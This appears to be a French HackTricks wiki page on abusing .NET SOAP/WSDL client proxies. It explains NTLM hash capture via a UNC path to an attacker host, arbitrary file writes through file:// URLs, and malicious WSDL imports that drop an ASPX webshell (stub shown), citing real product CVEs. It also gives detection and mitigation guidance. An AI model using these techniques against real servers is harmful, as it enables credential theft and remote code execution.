Abus des proxies clients .NET SOAP/WSDL
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
TL;DR
SoapHttpClientProtocol,DiscoveryClientProtocolet consorts hĂ©ritent deHttpWebClientProtocol, dontGetWebRequest()retourne lâinstance agnostique au schemeWebRequestproduite parWebRequest.Create()sans forcerHttpWebRequest.- Si un attaquant contrĂŽle le
Urldu proxy, le framework remplace silencieusement parFileWebRequest,FtpWebRequestou des handlers UNC/SMB, transformant des proxies âHTTPâ en NTLM leak gadgets ou en outils dâĂ©criture de fichiers arbitraires. - Toute fonctionnalitĂ© qui importe un WSDL fourni par lâattaquant via
ServiceDescriptionImporteraggrave le bug : le WSDL contrÎle le constructeur du proxy généré, les méthodes SOAP, les types complexes et les espaces de noms, permettant des RCE pré-auth (webshells, script drops) dans des produits tels que Barracuda Service Center RMM, Ivanti EPM, Umbraco 8, PowerShell et SSIS.
Cause racine : HttpWebClientProtocol est agnostique au scheme
WebClientProtocol.GetWebRequest() fait var req = WebRequest.Create(uri) et retourne cet objet sans le modifier. HttpWebClientProtocol.GetWebRequest() tente req as HttpWebRequest pour dĂ©finir des champs rĂ©servĂ©s Ă HTTP, mais il retourne toujours le req original mĂȘme quand le cast Ă©choue. Le runtime obĂ©it donc au scheme prĂ©sent dans Url :
http(s)://âHttpWebRequestfile:///ou\\host\share\âFileWebRequestftp://âFtpWebRequest
SoapHttpClientProtocol.Invoke() stream ensuite le corps POST SOAP via le handler de transport sĂ©lectionnĂ©, mĂȘme si cela signifie Ă©crire sur le disque ou via SMB.
Primitif 1 â Capture / relay NTLM via des cibles UNC
- Obtenir le contrĂŽle de
SoapHttpClientProtocol.Url(setter direct, valeur de config, ligne en base, etc.). - Le pointer vers un chemin UNC comme
file://attacker.local/sink/payload. - Le CLR ouvre le chemin via SMB et effectue une authentification intégrée, leaking NTLM challenge/response to the attacker.
- Utiliser les hashes capturés pour du cracking offline ou du NTLM relay (SMB/HTTP) si signing/EPA ne sont pas présents.
Cela sâapplique Ă tout chemin proxy .NET SOAP/HTTP acceptant une entrĂ©e utilisateur, mĂȘme sâil nây a pas dâautre vecteur dâexploitation apparent.
Primitif 2 â Ăcritures de fichiers arbitraires via file://
- Définir
Url = "file:///inetpub/wwwroot/poc.aspx"(ou tout chemin inscriptible) avant lâappel du proxy. - Invoquer nâimporte quelle mĂ©thode SOAP ; le framework Ă©crit lâensemble de lâenveloppe SOAP dans le chemin choisi, Ă©crasant les fichiers existants.
- Les arguments contrĂŽlĂ©s par lâutilisateur apparaissent dans des Ă©lĂ©ments XML, permettant aux attaquants de dĂ©poser des payloads CSHTML/ASPX ou dâempoisonner des fichiers de config.
Limitations :
- Le contenu est toujours du XML ; les champs scalaires sont entity-encodés, donc injecter
<script>via des chaĂźnes simples nĂ©cessite des techniques supplĂ©mentaires. - Des payloads exploitables requiĂšrent au moins un argument influençable par lâattaquant ou la capacitĂ© de modifier la signature de la mĂ©thode (voir lâabus de WSDL).
Le runtime lance souvent Client found response content type of 'application/octet-stream', but expected 'text/xml' aprĂšs lâĂ©criture â traiter cette erreur comme un IOC.
Weaponisation des imports WSDL
Proxies auto-générés via ServiceDescriptionImporter
Beaucoup de produits exposent une fonctionnalitĂ© âcustom web serviceâ qui accepte une URL WSDL, puis :
ServiceDescription.Read()du WSDL contrĂŽlĂ© par lâattaquant.ServiceDescriptionImportergĂ©nĂšre des classes proxy C# Ă©tendantSoapHttpClientProtocol.- CodeDOM compile le proxy et la reflection appelle la mĂ©thode demandĂ©e.
Lâattaquant contrĂŽle entiĂšrement :
soap:address/soap12:addresslocationâ devientbase.Url(peut dĂ©finirfile://ou des chemins UNC).- Les noms de mĂ©thode, listes de paramĂštres, types complexes et serializers.
- Les URI dâespaces de noms qui finissent en attributs
xmlns:*dans chaque message SOAP.
Aucune validation de scheme nâa lieu, donc chaque proxy gĂ©nĂ©rĂ© hĂ©rite de la faille initiale.
Façonner lâenveloppe SOAP pour RCE
- Complex type serialization : Définir des structs personnalisés dans le WSDL de sorte que lorsque
XmlSerializerles réémet, ils produisent des noms/attributs dâĂ©lĂ©ments choisis par lâattaquant. Pour dĂ©poser une webshell ASPX, construire des types qui sĂ©rialisent en :
<script runat="server">
// payload pulling `Request.QueryString["cmd"]`
</script>
et pointer Url vers file:///.../webroot/shell.aspx pour obtenir une RCE.
- Namespace injection : MĂȘme quand les arguments sont codĂ©s en dur (par ex. Umbraco Forms), les namespaces dĂ©clarĂ©s dans le WSDL (ex.
xmlns:tns="http://host/service?x=@{...}") sont copiĂ©s tels quels dans lâenveloppe SOAP. Encoder des payloads dans la query string dâun namespace permet des drops CSHTML Razor ou PowerShell sans contrĂŽle des paramĂštres.
Ces techniques ont alimentĂ© lâexploit contre Barracuda Service Center RMM (CVE-2025-34392) : un appel SOAP non authentifiĂ© a fourni un WSDL malveillant, a dĂ©fini soap12:address sur file:///Program Files/.../SCMessaging/poc.aspx, injectĂ© <script runat="server"> via des paramĂštres complexes, et a uploadĂ© une webshell exĂ©cutant des commandes cmd.exe arbitraires.
DĂ©roulement typique dâune attaque
- Identifier une fonctionnalité acceptant une URL WSDL ou permettant de configurer des endpoints SOAP (ex. Barracuda
InvokeRemoteMethod, connecteurs Ivanti EPM, datasources Umbraco 8 Forms, PowerShellNew-WebServiceProxy). - Héberger un WSDL malveillant dont le
soap:addresspointe vers un chemin inscriptible ou un partage UNC et dont les schĂ©mas fournissent des mĂ©thodes/types adaptĂ©s au payload. - DĂ©clencher lâimport/compilation. La cible Ă©met un DLL de proxy avec constructeur et mĂ©thodes contrĂŽlĂ©s par lâattaquant.
- Quand lâapplication invoque la mĂ©thode gĂ©nĂ©rĂ©e, la requĂȘte SOAP est sĂ©rialisĂ©e et Ă©crite dans le chemin spĂ©cifiĂ© par lâattaquant, embarquant le payload.
- Exécuter le fichier déposé (naviguer vers
poc.aspx?cmd=whoami, charger le CSHTML, ou laisser PowerShell exécuter le script) ou rejouer le matériel NTLM capturé.
Détection & chasse
- Analyse statique : Grepper pour
ServiceDescriptionImporter,SoapHttpClientProtocol,HttpWebClientProtocol, ouNew-WebServiceProxy. Tracer la provenance deUrlou des entrĂ©es WSDL â toute source contrĂŽlĂ©e par lâutilisateur est un signal dâalerte. - TĂ©lĂ©mĂ©trie runtime :
- Instrumenter la création des proxies pour logger les schemes ; alerter sur les valeurs
file,ftpou UNC. - Surveiller lâerreur caractĂ©ristique
Client found response content type of 'application/octet-stream'aprÚs des appels SOAP. - Surveiller des écritures inattendues
.aspx/.cshtml/.ps1sous les rĂ©pertoires applicatifs effectuĂ©es par lâidentitĂ© du service web.
- Instrumenter la création des proxies pour logger les schemes ; alerter sur les valeurs
- Signaux rĂ©seau/fichiers : connexions SMB initiĂ©es par des serveurs web vers lâinfrastructure de lâattaquant, ou compilation soudaine de DLLs de proxy temporaires, prĂ©cĂšdent souvent lâexploitation.
Mitigations
- Enforcer une validation du transport avant dâinvoquer tout proxy dĂ©rivĂ© de
HttpWebClientProtocol:
var uri = new Uri(proxy.Url);
if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps)
throw new InvalidOperationException("SOAP clients must stay on HTTP/S");
- Sanitize les WSDL importés : télécharger les proxies via un broker qui réécrit ou rejette les entrées
soap:addressnon HTTP/S, supprime les bindings inconnus, et interdit les tricks dâespace de noms porteurs de payload. - DĂ©sactiver les fonctionnalitĂ©s WSDL non fiables : remplacer les commoditĂ©s âupload a WSDLâ par des templates serveur validĂ©s ou des allowlists.
- SĂ©parer les emplacements dâĂ©criture : sâassurer que les app pools ne peuvent pas Ă©crire dans les rĂ©pertoires exĂ©cutables ; utiliser des volumes sĂ©parĂ©s pour les donnĂ©es vs le code de sorte que les primitives dâĂ©criture ne deviennent pas des RCE.
- Durcir lâexposition NTLM : dĂ©sactiver SMB sortant quand câest possible ; sinon appliquer SMB signing, EPA et autres mitigations contre le relay.
Références
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


